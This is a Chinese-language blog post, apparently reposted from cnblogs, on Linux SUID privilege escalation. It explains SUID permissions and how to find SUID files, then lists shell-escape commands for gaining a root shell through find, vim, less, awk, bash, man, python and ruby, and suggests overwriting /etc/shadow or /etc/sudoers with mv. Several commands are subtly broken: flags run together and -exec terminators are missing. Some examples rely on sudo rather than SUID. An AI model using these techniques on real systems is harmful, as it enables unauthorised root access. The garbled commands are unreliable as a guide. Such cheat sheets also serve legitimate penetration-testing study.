linux提权——suid提权

linux提权——suid提权

基础知识

suid权限介绍:

SUID (Set owner User ID up on execution) 是给予文件的一个特殊类型的文件权限。在 Linux/Unix中,当一个程序运行的时候, 程序将从登录用户处继承权限。SUID被定义为给予一个用户临时的(程序/文件)所有者的权限来运行一个程序/文件。用户在执行程序/文件/命令的时候,将获取文件所有者的权限以及所有者的UID和GID。

suid权限的特点:

  1. SUID只对可执行的二进制文件起作用,shell脚本设置后不生效。
  2. 如果设置了其suid后,其属主位的可以执行权限x会变成s(小写),如果是大写S 那么说设置的文件没有可执行权限,设置的SUID无效。
  3. SUID对目录设置无意义。

SUID设置方法:

chmod u+s file   #字母设置方式
chmod u-s file   #取消SUID
chmod 4755 file  #数字设置方式
chmod 0755 file  #取消SUID

查找具有suid权限的文件

#以下命令将尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令,一个一个试
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} ;

利用方式

Find命令

sudo find . -exec /bin/sh ; -quit

chmod命令

sudo sh -c 'cp $(which chmod) .; chmod +s ./chmod'

ash、linux shell

sudo ash

cp命令

sudo sh -c 'cp $(which cp) .; chmod +s ./cp'

vim

vim.tiny
# Press ESC key
:set shell=/bin/sh
:shell

less/more

less /etc/passwd
!/bin/sh

bash

bash -p

awk

awk 'BEGIN {system("/bin/bash")}'

mv

#使用mv 覆盖 /etc/shadow 或者/etc/sudoers

man

man passwd
!/bin/bash

python

import os
os.system("/bin/bash")

ruby

exec "/bin/bash";
原文地址:https://www.cnblogs.com/tomyyyyy/p/14659298.html